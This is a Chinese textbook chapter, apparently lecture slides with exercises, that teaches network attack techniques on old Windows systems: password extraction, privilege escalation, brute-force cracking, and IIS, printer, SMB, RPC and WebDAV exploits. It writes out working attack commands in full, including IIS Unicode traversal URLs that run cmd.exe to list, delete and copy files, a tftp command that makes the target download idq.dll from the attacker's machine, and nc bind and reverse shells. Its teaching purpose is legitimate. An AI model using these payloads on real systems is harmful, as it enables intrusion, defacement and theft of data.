内容提要
本章是攻击技术中最重要的一章,介绍目前常用的网络攻击手段:
社会工程学攻击
物理攻击
暴力攻击
利用Unicode漏洞攻击
利用缓冲区溢出漏洞进行攻击等技术。
并结合实际,介绍流行的攻击工具的使用以及部分工具的代码实现。
社会工程学攻击
社交工程是使用计谋和假情报去获得密码和其他敏感信息的科学,研究一个站点的策略其中之一就是尽可能多的了解这个组织的个体,因此黑客不断试图寻找更加精妙的方法从他们希望渗透的组织那里获得信息。
举个例子:一组高中学生曾经想要进入一个当地的公司的计算机网络,他们拟定了一个表格,调查看上去显得是无害的个人信息,例如所有秘书和行政人员和他们的配偶、孩子的名字,这些从学生转变成的黑客说这种简单的调查是他们社会研究工作的一部分。利用这份表格这些学生能够快速的进入系统,因为网络上的大多数人是使用宠物和他们配偶名字作为密码。
社会工程学攻击
目前社会工程学攻击主要包括两种方式:打电话请求密码和伪造Email
1、打电话请求密码
尽管不像前面讨论的策略那样聪明,打电话寻问密码也经常奏效。在社会工程中那些黑客冒充失去密码的合法雇员,经常通过这种简单的方法重新获得密码。
2、伪造Email
使用telnet一个黑客可以截取任何一个身份证发送Email的全部信息,这样的Email消息是真的,因为它发自于一个合法的用户。在这种情形下这些信息显得是绝对的真实。黑客可以伪造这些。一个冒充系统管理员或经理的黑客就能较为轻松的获得大量的信息,黑客就能实施他们的恶意阴谋。
物理攻击与防范
物理安全是保护一些比较重要的设备不被接触。
物理安全比较难防,因为攻击往往来自能够接触到物理设备的用户。
案例5-1得到管理员密码
用户登录以后,所有的用户信息都存储在系统的一个进程中,这个进程是:“winlogon.exe”,可以利用程序将当前登录用户的密码解码出来,如图5-1所示。
案例5-1得到管理员密码
使用FindPass等工具可以对该进程进行解码,然后将当前用户的密码显示出来。将FindPass.exe拷贝到C盘根目录,执行该程序,将得到当前用户得登录名,如图5-2所示。
权限提升
有时候,管理员为了安全,给其他用户建立一个普通用户帐号,认为这样就安全了。
其实不然,用普通用户帐号登录后,可以利用工具GetAdmin.exe将自己加到管理员组或者新建一个具有管理员权限的用户。
案例5-2 普通用户建立管理员帐号
利用Hacker帐户登录系统,在系统中执行程序GetAdmin.exe,程序自动读取所有用户列表,在对话框中点击按钮“New”,在框中输入要新建的管理员组的用户名,如图5-5所示。
普通用户建立管理员帐号
输入一个用户名“IAMHacker”,点击按钮“确定”以后,然后点击主窗口的按钮“OK”,出现添加成功的窗口,如图5-6所示。
暴力攻击
暴力攻击的一个具体例子是,一个黑客试图使用计算机和信息去破解一个密码。
一个黑客需要破解—段单一的被用非对称密钥加密的信息,为了破解这种算法,一个黑客需要求助于非常精密复杂的方法,它使用120个工作站,两个超级计算机利用从三个主要的研究中心获得的信息,即使拥有这种配备,它也将花掉八天的时间去破解加密算法,实际上破解加密过程八天已是非常短暂的时间了。
字典文件
一次字典攻击能否成功,很大因素上决定与字典文件。一个好的字典文件可以高效快速的得到系统的密码。攻击不同的公司、不通地域的计算机,可以根据公司管理员的姓氏以及家人的生日,可以作为字典文件的一部分,公司以及部门的简称一般也可以作为字典文件的一部分,这样可以大大的提高破解效率。
一个字典文件本身就是一个标准的文本文件,其中的每一行就代表一个可能的密码。目前有很多工具软件专门来创建字典文件,图5-8是一个简单的字典文件。
暴力破解操作系统密码
字典文件为暴力破解提供了一条捷径,程序首先通过扫描得到系统的用户,然后利用字典中每一个密码来登录系统,看是否成功,如果成功则将密码显示
案例5-3 暴力破解操作系统密码
比如使用图5-8所示的字典文件,利用上一章介绍的工具软件GetNTUser依然可以将管理员密码破解出来,如图5-9所示。
暴力破解邮箱密码
邮箱的密码一般需要设置到八位以上,否则七位以下的密码容易被破解。
尤其七位全部是数字,更容易被破解。
案例5-4 电子邮箱暴力破解
破解电子邮箱密码,一个比较著名的工具软件是:黑雨——POP3邮箱密码暴力破解器,比较稳定的版本是2.3.1,主界面如图5-10所示。
暴力破解软件密码
目前许多软件都具有加密的功能,比如Office文档、Winzip文档和Winrar文档等等。这些文档密码可以有效的防止文档被他人使用和阅读。但是如果密码位数不够长的话,同样容易被破解。
案例5-5 Office文档暴力破解
修改权限密码
在对话框中选择选项卡“安全性”,在打开权限密码和修改权限密码的两个文本框中都输入“999”,如图5-12所示。
输入密码
保存并关闭该文档,然后再打开,就需要输入密码了,如图5-13所示。
破解Word文档密码
该密码是三位的,使用工具软件,Advanced Office XP Password Recovery可以快速破解Word文档密码,主界面如图5-14所示。
破解Word文档密码
点击工具栏按钮“Open File”,打开刚才建立的Word文档,程序打开成功后会在Log Window中显示成功打开的消息,如图5-15所示。
破解Word文档密码
设置密码长度最短是一位,最长是三位,点击工具栏开始的图标,开始破解密码,大约两秒钟后,密码被破解了,如图5-16所示。
Unicode漏洞专题
通过打操作系统的补丁程序,就可以消除漏洞。只要是针对漏洞进行攻击的案例都依赖于操作系统是否打了相关的补丁。
Unicode漏洞是2000-10-17发布的,受影响的版本:
Microsoft IIS 5.0+Microsoft Windows 2000系列版本
Microsoft IIS 4.0+ Microsoft Windows NT 4.0
消除该漏洞的方式是安装操作系统的补丁,只要安装了SP1以后,该漏洞就不存在了。微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"\"而能利用"../"目录遍历的漏洞。
Unicode漏洞的检测方法
使用扫描工具来检测Unicode漏洞是否存在,使用上一章介绍的X-Scan来对目标系统进行扫描,目标主机IP为:172.18.25.109,Unicode漏洞属于IIS漏洞,所以这里只扫描IIS漏洞就可以了,X-Scan设置如图5-17所示。
Unicode漏洞的检测方法
将主机添加到目标地址,扫描结果如图5-18所示。
Unicode漏洞的检测方法
可以看出,存在许多系统的漏洞。只要是/scripts开头的漏洞都是Unicode漏洞。比如:
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
其中/scripts目录是IIS提供的可以执行命令的一个有执行程序权限的一个目录,在IIS中的位置如图5-19所示。
Unicode漏洞的检测方法
scripts目录一般系统盘根目录下的Inetpub目录下,如图5-20所示。
Unicode漏洞的检测方法
在Windows的目录结构中,可以使用两个点和一个斜线“../”来访问上一级目录,在浏览器中利用“scripts/../../”可以访问到系统盘根目录,访问“scripts/../../winnt/system32”就访问到系统的系统目录了,在system32目录下包含许多重要的系统文件,比如cmd.exe文件,可以利用该文件新建用户,删除文件等操作。
浏览器地址栏中禁用符号“../”,但是可以使用符号“/”的Unicode的编码。比如 “/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir”中的“%c0%2f”就是“/”的Unicode编码。这条语句是执行dir命令列出目录结构。
Unicode漏洞
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。在NT4中/编码为“%c1%9c”或者“%c1%9c”,WIN2000英文版是“%c0%af”。
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测,该编码存在于日文版、韩文版等操作系统。
%c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
利用该漏洞读取出计算机上目录列表,比如读取C盘的目录,只要在浏览器中输入
“http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\”
利用Unicode漏洞读取系统盘目录
利用Unicode漏洞读取系统盘目录
利用语句得到对方计算机上装了几个操作系统以及操作系统的类型,只要读取C盘下的boot.ini文件就可以了。使用的语句是:
http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+type+c:\boot.ini
执行的结果如图5-22所示。
利用Unicode漏洞删除主页
利用Unicode可以方便的更改对方的主页,比如现在已经知道对方网站的根路径在“C:\Initpub\wwwroot”(系统默认)下,可以删除该路径下的文件“default.asp”来删除主页,这里的“default.asp”文件是IIS的默认启动页面。
使用的语句是:
http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+del+c:\inetpub\wwwroot\default.asp
利用Unicode漏洞删除主页
拷贝文件
为了是使用方便,利用语句将cmd.exe文件拷贝到scripts目录,并改名为c.exe,使用的语句是:
http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+copy+C:\winnt\system32\cmd.exe+c.exe
程序执行结果如图5-24所示。
查看C盘的目录
以后使用cmd.exe命令就方便了,比如查看C盘的目录,使用的语句就可以简化为:
http://172.18.25.109/scripts/c.exe?/c+dir+c:\
执行的结果如图5-25所示。
利用Unicode漏洞入侵系统
在地址栏上执行命令,用户的权限比较低,像net等系统管理指令不能执行。利用Unicode可以入侵对方的系统,并得到管理员权限。首先需要向对方服务器上传一些文件,入侵的第一步,建立tftp服务器,向对方的scripts文件夹传几个文件。
需要上传一个名为“idq.dll”的文件,为了上传这个文件,首先在本地计算机上搭建一个TFTP服务器,普通文件传输协议TFTP(Text File Transmission Protocol)一般用来传输单个文件。使用工具软件tftpd32.exe建立服务器。将idq.dll和tftpd32.exe放在本地的同一目录下,执行tftpd32.exe程序,主界面如图5-26所示。
利用Unicode漏洞入侵系统
利用Unicode漏洞入侵系统
这样在本地的TFTP的服务器就建立好了,保留这个窗口,通过该服务器向对方传递idq.dll文件。在浏览器中执行命令:
“http://172.18.25.109/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp+-i+172.18.25.110+get+idq.dll”,
命令其实是“tftp –i 172.18.25.110 get idq.dll”意思是从172.18.25.110服务器上获取idq.dll文件,执行成功的界面如图5-27所示。
上载文件
查看scripts目录
上传完毕后可以查看一下scripts目录,是否真的上传成功了。如图5-28所示。
入侵对方主机
说明已经成功的在scripts目录中上传了一个idq.dll文件,下面使用工具软件ispc.exe入侵对方系统。
拷贝ispc.exe文件到本地计算机的C盘根目录,在DOS命令行下执行命令:
“ispc.exe 172.18.25.109/scripts/idq.dll”,连接成功后就直接进入了对方的DOS命令行下,而且具有管理员权限,入侵的过程5-29所示。
建立用户
可以在对方计算机上做管理员可以做的一切事情,比如添加用户,建立一个用户名为“Hacker123”,密码也是“Hacker123”的用户,如图5-30所示。
其他漏洞攻击
利用打印漏洞
利用打印漏洞可以在目标的计算机上添加一个具有管理员权限的用户。经过测试,该漏洞在SP2、SP3以及SP4版本上依然存在,但是不能保证100%入侵成功。
使用工具软件:cniis.exe,使用的语法格式是:“cniis 172.18.25.109 0”,第一个参数是目标的IP地址,第二参数是目标操作系统的补丁号,因为172.18.25.109没有打补丁,这里就是0。拷贝cniis.exe文件到C盘根目录,执行程序如图5-31所示。
SMB致命攻击
SMB(Session Message Block,会话消息块协议)又叫做NetBIOS或LanManager协议,用于不同计算机之间文件、打印机、串口和通讯的共享和用于Windows平台上提供磁盘和打印机的共享。
SMB协议版本有很多种,在Windows 98、Windows NT、Windows 2000和XP使用的是NTLM 0.12版本。
利用该协议可以进行各方面的攻击,比如可以抓取其他用户访问自己计算机共享目录的SMB会话包,然后利用SMB会话包登录对方的计算机。下面介绍利用SMB协议让对方操作系统系统重新启动或者蓝屏。
致命攻击
使用的工具软件是:SMBDie V1.0,该软件对打了SP3、SP4的计算机依然有效,必须打专门的SMB补丁,软件的主界面如图5-32所示。
致命攻击
攻击的时候,需要两个参数:对方的IP地址和对方的机器名,窗口中分别输入这两项,如图5-33所示。
致命攻击
然后再点按钮“Kill”,如果参数输入没有错误的话,对方计算机立刻重启或蓝屏,命中率几乎100%,被攻击的计算机蓝屏界面如图5-34所示。
缓冲区溢出攻击
目前最流行的一种攻击技术就是缓冲区溢出攻击。当目标操作系统收到了超过了它的最大能接收的信息量的时候,将发生缓冲区溢出。这些多余的数据将使程序的缓冲区溢出,然后覆盖了实际的程序数据,缓冲区溢出使目标系统的程序被修改,经过这种修改的结果使在系统上产生一个后门。
这项攻击对技术要求比较高,但是攻击的过程却非常简单。缓冲区溢出原理很简单,比如程序:
缓冲区溢出攻击
void function(char * szPara1)
{
char buff[16];
strcpy(buffer, szPara1);
}
程序中利用strcpy函数将szPara1中的内容拷贝到buff中,只要szPara1的长度大于16,就会造成缓冲区溢出。存在strcpy函数这样问题的C语言函数还有:strcat()、gets()、scanf()等。
RPC漏洞溢出
远程过程调用RPC(Remote Procedure Call),是操作系统的一种消息传递功能,允许应用程序呼叫网络上的计算机。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务,如图5-35所示。
利用RPC漏洞建立超级用户
RPC溢出漏洞,对SP4也适用,必须打专用补丁。利用工具scanms.exe文件检测RPC漏洞,该工具是ISS安全公司2003年7月30日发布的,运行在命令行下用来检测指定IP地址范围内机器是否已经安装了“DCOM RPC 接口远程缓冲区溢出漏洞(823980-MS03-026)”补丁程序。
如果没有安装补丁程序,该IP地址就会显示出“[VULN]”。首先拷贝该文件到C盘根目录,现在要检查地址段172.18.25.109到172.18.25.110的主机,执行命令“scanms.exe 172.18.25.109-172.18.25.110”,检查过程如图5-36所示。
检查缓冲区溢出漏洞
检查缓冲区溢出漏洞
利用工具软件attack.exe对172.18.25.109进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。
新建用户的用户名和密码都是qing10,这样就可以登录对方计算机了,RPC服务停止操作系统将有许多功能不能使用,非常容易被管理员发现,使用工具软件OpenRpcSs.exe来给对方重启RPC服务。攻击的全过程如图5-37所示。
攻击的全过程
利用IIS溢出进行攻击
案例5-11 利用IIS溢出入侵系统
利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口,工具软件的主界面如图5-38所示。
利用IIS溢出进行攻击
该软件适用于各种类型的操作系统,比如对172.18.25.109进行攻击,172.18.25.109的操作系统的Windows 2000,没有安装补丁程序,攻击完毕后,开辟一个813端口,并在对方计算机上执行命令“dir c:\”设置如图5-39所示。
点击按钮“IDQ溢出”,出现攻击成功的提示框,如图5-40所示。
这个时候,813端口已经开放,利用工具软件nc.exe连接到该端口,将会自动执行改才发送的DOS命令“dir c:\”,使用的语法是:nc.exe -vv 172.18.25.109 813,其中-vv是程序的参数,813是目标端口。可以看到命令的执行结果,如图5-41所示。
监听本地端口
下面利用nc.exe和snake工具的另外一种组合入侵对方计算机。首先利用nc.exe命令监听本地的813端口。使用的基本语法是“nc -l -p 813”,执行的过程如图5-42所示。
这个窗口就这样一直保留,启动工具软件snake,本地的IP地址是172.18.25.110,要攻击的计算机的IP地址是172.18.25.109,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813,如图5-43所示。
设置好以后,点击按钮“IDQ溢出”,程序显示对话框如图4-44所示。
查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,如图4-45所示。
利用WebDav远程溢出
需要使用工具软件nc.exe和webdavx3.exe,首先在DOS命令行下执行webdavx3.exe,如果执行的话,该程序将提示已经过期了,如图4-46所示。
攻击
修改本地系统时间到2001年,这样就可以攻击了,在命令后面直接跟对方的IP地址就可以了,现在要攻击的计算机是172.18.25.109,执行情况如图4-47所示。
入侵对方的计算机
该程序不能自动退出,当发现程序长时间没有反映的时候,需要手工按下“CTRL+C”退出程序。该程序在对方的计算机上开了一个端口7788,依然可以nc.exe程序入侵对方的计算机,过程如图4-48所示。
拒绝服务攻击
拒绝服务攻击的简称是:DoS(Denial of Service)攻击,凡是造成目标计算机拒绝提供服务的攻击都称为DoS攻击,其目的是使目标计算机或网络无法提供正常的服务。
最常见的DoS攻击是:计算机网络带宽攻击和连通性攻击。带宽攻击是以极大的通信量冲击网络,使网络所有可用的带宽都被消耗掉,最后导致合法用户的请求无法通过。连通性攻击指用大量的连接请求冲击计算机,最终导致计算机无法再处理合法用户的请求。
案例5-13 程序分析
案例5-13 程序分析
利用缓冲区或者漏洞的攻击的程序一般都比较小,但是都要涉及shell编程技术和Socket编程技术。
案例5-8使用cniis.exe工具进行攻击,该工具的源代码如程序proj5_13.cpp所示。
本章总结
本章主要介绍网络攻击的常用手段和技巧
介绍的工具都是有代表性的工具,但是还有许多其他的工具可以进行有效的攻击。
需要了解社会工程学攻击的基本方法、学会防范物理攻击。
重点掌握暴力攻击下的暴力破解操作系统密码、暴力破解邮箱密码和暴力破解Office文档的密码;
掌握各种漏洞攻击以及防御手段,掌握各种缓冲区溢出攻击的手段以及防御的手段。
了解拒绝服务攻击的概念。
本章习题
一、选择题
1. 打电话请求密码属于___________攻击方式。
A. 木马 B. 社会工程学
C. 电话系统漏洞 D. 拒绝服务
2. 一次字典攻击能否成功,很大因素上决定于___________。
A. 字典文件 B. 计算机速度
C. 网络速度 D. 黑客学历
3. SYN风暴属于___________攻击。
A. 拒绝服务攻击 B. 缓冲区溢出攻击
C. 操作系统漏洞攻击 D. 社会工程学攻击
4. 下面不属于DoS攻击的是___________
A. Smurf攻击 B. Ping of Death
C. Land攻击 D. TFN攻击
本章习题
二、填空题
1. 字典攻击是最常见的一种___________攻击。
2. ___________的特点是先使用一些典型的黑客入侵手段控制一些高带宽的服务器,然后在这些服务器上安装攻击进程,集数十台,数百台甚至上千台机器的力量对单一攻击目标实施攻击。
3. SYN flooding攻击即是利用的___________设计弱点。
本章习题
三、简答题与程序设计题
1. 简述社会工程学攻击的原理。
2. 登录系统以后如何得到管理员密码?如何利用普通用户建立管理员账户?
3. 简述暴力攻击的原理。暴力攻击如何破解操作系统的用户密码、如何破解邮箱密码、如何破解Word文档的密码?针对暴力攻击应如何防御?
4. 简述Unicode漏洞的基本原理。
5. 简述缓冲区溢出攻击的原理。
6. 简述拒绝服务的种类与原理。
7. 利用Unicode漏洞入侵对方计算机,更改Administrator密码为123456。(上机完成)
8. 利用三种不同的方法,入侵对方系统,并撰写入侵总结报告。(上机完成)
9. 简述DDos的特点以及常用的攻击手段,如何防范?